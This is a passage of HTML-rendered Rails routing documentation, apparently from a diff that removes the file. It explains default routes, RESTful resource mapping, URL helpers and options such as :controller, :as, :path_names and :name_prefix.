-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_regular_routes">2.5. Regular Routes</h3>
-<div class="paragraph"><p>In many applications, you&#8217;ll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example,</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'parts/:number'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'inventory'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span></tt></pre></div></div>
-<h3 id="_default_routes">2.6. Default Routes</h3>
-<div class="paragraph"><p>The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span></tt></pre></div></div>
-<div class="paragraph"><p>These default routes are automatically generated when you create a new Rails application. If you&#8217;re using RESTful routing for everything in your application, you will probably want to remove them. But be sure you&#8217;re not using the default routes before you remove them!</p></div>
-</div>
-<h2 id="_restful_routing_the_rails_default">3. RESTful Routing: the Rails Default</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>RESTful routing is the current standard for routing in Rails, and it&#8217;s the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it&#8217;s worth the effort; your code will be easier to read and you&#8217;ll be working with Rails, rather than fighting against it, when you use this style of routing.</p></div>
-<h3 id="_what_is_rest">3.1. What is REST?</h3>
-<div class="paragraph"><p>The foundation of RESTful routing is generally considered to be Roy Fielding&#8217;s doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
-</p>
-</li>
-<li>
-<p>
-Transferring representations of the state of that resource between system components.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>For example, to a Rails application a request such as this:</p></div>
-<div class="paragraph"><p><tt>DELETE /photos/17</tt></p></div>
-<div class="paragraph"><p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.</p></div>
-<h3 id="_crud_verbs_and_actions">3.2. CRUD, Verbs, and Actions</h3>
-<div class="paragraph"><p>In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos</tt></pre></div></div>
-<div class="paragraph"><p>creates seven different routes in your application:</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<thead valign="top">
-<tr>
-<th align="left">HTTP verb </th>
-<th align="left">URL </th>
-<th align="left">controller </th>
-<th align="left">action </th>
-<th align="left">used for</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/photos</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">index</p></td>
-<td align="left"><p class="table">display a list of all photos</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/photos/new</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">new</p></td>
-<td align="left"><p class="table">return an HTML form for creating a new photo</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">POST</p></td>
-<td align="left"><p class="table">/photos</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">create</p></td>
-<td align="left"><p class="table">create a new photo</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/photos/1</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">show</p></td>
-<td align="left"><p class="table">display a specific photo</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/photos/1/edit</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">edit</p></td>
-<td align="left"><p class="table">return an HTML form for editing a photo</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">PUT</p></td>
-<td align="left"><p class="table">/photos/1</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">update</p></td>
-<td align="left"><p class="table">update a specific photo</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">DELETE</p></td>
-<td align="left"><p class="table">/photos/1</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">destroy</p></td>
-<td align="left"><p class="table">delete a specific photo</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<div class="paragraph"><p>For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as <tt>params[:id]</tt>.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you consistently use RESTful routes in your application, you should disable the default routes in <tt>routes.rb</tt> so that Rails will enforce the mapping between HTTP verbs and routes.</td>
-</tr></table>
-</div>
-<h3 id="_urls_and_paths">3.3. URLs and Paths</h3>
-<div class="paragraph"><p>Creating a RESTful route will also make available a pile of helpers within your application:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>photos_url</tt> and <tt>photos_path</tt> map to the path for the index and create actions
-</p>
-</li>
-<li>
-<p>
-<tt>new_photo_url</tt> and <tt>new_photo_path</tt> map to the path for the new action
-</p>
-</li>
-<li>
-<p>
-<tt>edit_photo_url</tt> and <tt>edit_photo_path</tt> map to the path for the edit action
-</p>
-</li>
-<li>
-<p>
-<tt>photo_url</tt> and <tt>photo_path</tt> map to the path for the show, update, and destroy actions
-</p>
-</li>
-</ul></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Because routing makes use of the HTTP verb as well as the path in the request to dispatch requests, the seven routes generated by a RESTful routing entry only give rise to four pairs of helpers.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>In each case, the <tt>_url</tt> helper generates a string containing the entire URL that the application will understand, while the <tt>_path</tt> helper generates a string containing the relative path from the root of the application. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>photos_url <span style="font-style: italic"><span style="color: #9A1900"># =&gt; "http://www.example.com/photos"</span></span>
-photos_path <span style="font-style: italic"><span style="color: #9A1900"># =&gt; "/photos"</span></span></tt></pre></div></div>
-<h3 id="_defining_multiple_resources_at_the_same_time">3.4. Defining Multiple Resources at the Same Time</h3>
-<div class="paragraph"><p>If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to <tt>map.resources</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>books<span style="color: #990000">,</span> <span style="color: #990000">:</span>videos</tt></pre></div></div>
-<div class="paragraph"><p>This has exactly the same effect as</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>books
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>videos</tt></pre></div></div>
-<h3 id="_singular_resources">3.5. Singular Resources</h3>
-<div class="paragraph"><p>You can also apply RESTful routing to singleton resources within your application. In this case, you use <tt>map.resource</tt> instead of <tt>map.resources</tt> and the route generation is slightly different. For example, a routing entry of</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resource <span style="color: #990000">:</span>geocoder</tt></pre></div></div>
-<div class="paragraph"><p>creates six different routes in your application:</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<thead valign="top">
-<tr>
-<th align="left">HTTP verb </th>
-<th align="left">URL </th>
-<th align="left">controller </th>
-<th align="left">action </th>
-<th align="left">used for</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/geocoder/new</p></td>
-<td align="left"><p class="table">Geocoders</p></td>
-<td align="left"><p class="table">new</p></td>
-<td align="left"><p class="table">return an HTML form for creating the new geocoder</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">POST</p></td>
-<td align="left"><p class="table">/geocoder</p></td>
-<td align="left"><p class="table">Geocoders</p></td>
-<td align="left"><p class="table">create</p></td>
-<td align="left"><p class="table">create the new geocoder</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/geocoder</p></td>
-<td align="left"><p class="table">Geocoders</p></td>
-<td align="left"><p class="table">show</p></td>
-<td align="left"><p class="table">display the one and only geocoder resource</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/geocoder/edit</p></td>
-<td align="left"><p class="table">Geocoders</p></td>
-<td align="left"><p class="table">edit</p></td>
-<td align="left"><p class="table">return an HTML form for editing the geocoder</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">PUT</p></td>
-<td align="left"><p class="table">/geocoder</p></td>
-<td align="left"><p class="table">Geocoders</p></td>
-<td align="left"><p class="table">update</p></td>
-<td align="left"><p class="table">update the one and only geocoder resource</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">DELETE</p></td>
-<td align="left"><p class="table">/geocoder</p></td>
-<td align="left"><p class="table">Geocoders</p></td>
-<td align="left"><p class="table">destroy</p></td>
-<td align="left"><p class="table">delete the geocoder resource</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Even though the name of the resource is singular in <tt>routes.rb</tt>, the matching controller is still plural.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>A singular RESTful route generates an abbreviated set of helpers:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>new_geocoder_url</tt> and <tt>new_geocoder_path</tt> map to the path for the new action
-</p>
-</li>
-<li>
-<p>
-<tt>edit_geocoder_url</tt> and <tt>edit_geocoder_path</tt> map to the path for the edit action
-</p>
-</li>
-<li>
-<p>
-<tt>geocoder_url</tt> and <tt>geocoder_path</tt> map to the path for the create, show, update, and destroy actions
-</p>
-</li>
-</ul></div>
-<h3 id="_customizing_resources">3.6. Customizing Resources</h3>
-<div class="paragraph"><p>Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:controller</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:singular</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:requirements</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:conditions</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:as</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:path_names</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:path_prefix</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:name_prefix</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:only</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:except</tt>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>You can also add additional routes via the <tt>:member</tt> and <tt>:collection</tt> options, which are discussed later in this guide.</p></div>
-<h4 id="_using_controller">3.6.1. Using :controller</h4>
-<div class="paragraph"><p>The <tt>:controller</tt> option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"images"</span></tt></pre></div></div>
-<div class="paragraph"><p>will recognize incoming URLs containing <tt>photo</tt> but route the requests to the Images controller:</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<thead valign="top">
-<tr>
-<th align="left">HTTP verb </th>
-<th align="left">URL </th>
-<th align="left">controller </th>
-<th align="left">action </th>
-<th align="left">used for</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/photos</p></td>
-<td align="left"><p class="table">Images</p></td>
-<td align="left"><p class="table">index</p></td>
-<td align="left"><p class="table">display a list of all images</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/photos/new</p></td>
-<td align="left"><p class="table">Images</p></td>
-<td align="left"><p class="table">new</p></td>
-<td align="left"><p class="table">return an HTML form for creating a new image</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">POST</p></td>
-<td align="left"><p class="table">/photos</p></td>
-<td align="left"><p class="table">Images</p></td>
-<td align="left"><p class="table">create</p></td>
-<td align="left"><p class="table">create a new image</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/photos/1</p></td>
-<td align="left"><p class="table">Images</p></td>
-<td align="left"><p class="table">show</p></td>
-<td align="left"><p class="table">display a specific image</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/photos/1/edit</p></td>
-<td align="left"><p class="table">Images</p></td>
-<td align="left"><p class="table">edit</p></td>
-<td align="left"><p class="table">return an HTML form for editing a image</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">PUT</p></td>
-<td align="left"><p class="table">/photos/1</p></td>
-<td align="left"><p class="table">Images</p></td>
-<td align="left"><p class="table">update</p></td>
-<td align="left"><p class="table">update a specific image</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">DELETE</p></td>
-<td align="left"><p class="table">/photos/1</p></td>
-<td align="left"><p class="table">Images</p></td>
-<td align="left"><p class="table">destroy</p></td>
-<td align="left"><p class="table">delete a specific image</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you&#8217;d still get <tt>photos_path</tt>, <tt>new_photo_path</tt>, and so on.</td>
-</tr></table>
-</div>
-<h3 id="_controller_namespaces_and_routing">3.7. Controller Namespaces and Routing</h3>
-<div class="paragraph"><p>Rails allows you to group your controllers into namespaces by saving them in folders underneath <tt>app/controllers</tt>. The <tt>:controller</tt> option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the <tt>admin</tt> folder:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>adminphotos<span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin/photos"</span></tt></pre></div></div>
-<div class="paragraph"><p>If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the <tt>adminphoto_path</tt> helper, and you follow a link generated with <tt>&lt;%= link_to "show", adminphoto(1) %&gt;</tt> you will end up on the view generated by <tt>admin/photos/show</tt> but you will also end up in the same place if you have <tt>&lt;%= link_to "show", {:controller =&gt; "photos", :action =&gt; "show"} %&gt;</tt> because Rails will generate the show URL relative to the current URL.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: <tt>&lt;%= link_to "show", {:controller =&gt; "/photos", :action =&gt; "show"} %&gt;</tt></td>
-</tr></table>
-</div>
-<div class="paragraph"><p>You can also specify a controller namespace with the <tt>:namespace</tt> option instead of a path:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>adminphotos<span style="color: #990000">,</span> <span style="color: #990000">:</span>namespace <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span></tt></pre></div></div>
-<div class="paragraph"><p>This can be especially useful when combined with <tt>with_options</tt> to map multiple namespaced routes together:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>with_options<span style="color: #990000">(:</span>namespace <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>admin<span style="color: #990000">|</span>
- admin<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>videos
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>That would give you routing for <tt>admin/photos</tt> and <tt>admin/videos</tt> controllers.</p></div>
-<h4 id="_using_singular">3.7.1. Using :singular</h4>
-<div class="paragraph"><p>If for some reason Rails isn&#8217;t doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the <tt>:singular</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>teeth<span style="color: #990000">,</span> <span style="color: #990000">:</span>singular <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"tooth"</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">Depending on the other code in your application, you may prefer to add additional rules to the <tt>Inflector</tt> class instead.</td>
-</tr></table>
-</div>
-<h4 id="_using_requirements">3.7.2. Using :requirements</h4>
-<div class="paragraph"><p>You an use the <tt>:requirements</tt> option in a RESTful route to impose a format on the implied <tt>:id</tt> parameter in the singular routes. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>requirements <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z][A-Z][0-9]+/</span><span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="paragraph"><p>This declaration constrains the <tt>:id</tt> parameter to match the supplied regular expression. So, in this case, <tt>/photos/1</tt> would no longer be recognized by this route, but <tt>/photos/RR27</tt> would.</p></div>
-<h4 id="_using_conditions">3.7.3. Using :conditions</h4>
-<div class="paragraph"><p>Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You&#8217;ll learn more about conditions in the discussion of classic routing later in this guide.)</p></div>
-<h4 id="_using_as">3.7.4. Using :as</h4>
-<div class="paragraph"><p>The <tt>:as</tt> option lets you override the normal naming for the actual generated paths. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"images"</span></tt></pre></div></div>
-<div class="paragraph"><p>will recognize incoming URLs containing <tt>image</tt> but route the requests to the Photos controller:</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<col width="20%" />
-<thead valign="top">
-<tr>
-<th align="left">HTTP verb </th>
-<th align="left">URL </th>
-<th align="left">controller </th>
-<th align="left">action </th>
-<th align="left">used for</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/images</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">index</p></td>
-<td align="left"><p class="table">display a list of all photos</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/images/new</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">new</p></td>
-<td align="left"><p class="table">return an HTML form for creating a new photo</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">POST</p></td>
-<td align="left"><p class="table">/images</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">create</p></td>
-<td align="left"><p class="table">create a new photo</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/images/1</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">show</p></td>
-<td align="left"><p class="table">display a specific photo</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">GET</p></td>
-<td align="left"><p class="table">/images/1/edit</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">edit</p></td>
-<td align="left"><p class="table">return an HTML form for editing a photo</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">PUT</p></td>
-<td align="left"><p class="table">/images/1</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">update</p></td>
-<td align="left"><p class="table">update a specific photo</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">DELETE</p></td>
-<td align="left"><p class="table">/images/1</p></td>
-<td align="left"><p class="table">Photos</p></td>
-<td align="left"><p class="table">destroy</p></td>
-<td align="left"><p class="table">delete a specific photo</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The helpers will be generated with the name of the resource, not the path name. So in this case, you&#8217;d still get <tt>photos_path</tt>, <tt>new_photo_path</tt>, and so on.</td>
-</tr></table>
-</div>
-<h4 id="_using_path_names">3.7.5. Using :path_names</h4>
-<div class="paragraph"><p>The <tt>:path_names</tt> option lets you override the automatically-generated "new" and "edit" segments in URLs:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_names <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'make'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>edit <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'change'</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="paragraph"><p>This would cause the routing to recognize URLs such as</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/photos/make
-/photos/1/change</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The actual action names aren&#8217;t changed by this option; the two URLs show would still route to the new and edit actions.</td>
-</tr></table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you find yourself wanting to change this option uniformly for all of your routes, you can set a default in your environment:</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>resources_path_names <span style="color: #990000">=</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'make'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>edit <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'change'</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
-<h4 id="_using_path_prefix">3.7.6. Using :path_prefix</h4>
-<div class="paragraph"><p>The <tt>:path_prefix</tt> option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/photographers/:photographer_id'</span></tt></pre></div></div>
-<div class="paragraph"><p>Routes recognized by this entry would include:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/photographers/1/photos/2
-/photographers/1/photos</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">In most cases, it&#8217;s simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.</td>
-</tr></table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">You can also use <tt>:path_prefix</tt> with non-RESTful routes.</td>
-</tr></table>
-</div>
-<h4 id="_using_name_prefix">3.7.7. Using :name_prefix</h4>
-<div class="paragraph"><p>You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use <tt>:path_prefix</tt> to map differently. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/photographers/:photographer_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photographer_'</span>
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/agencies/:agency_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'agency_'</span></tt></pre></div></div>
-<div class="paragraph"><p>This combination will give you route helpers such as <tt>photographer_photos_path</tt> and <tt>agency_edit_photo_path</tt> to use in your code.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
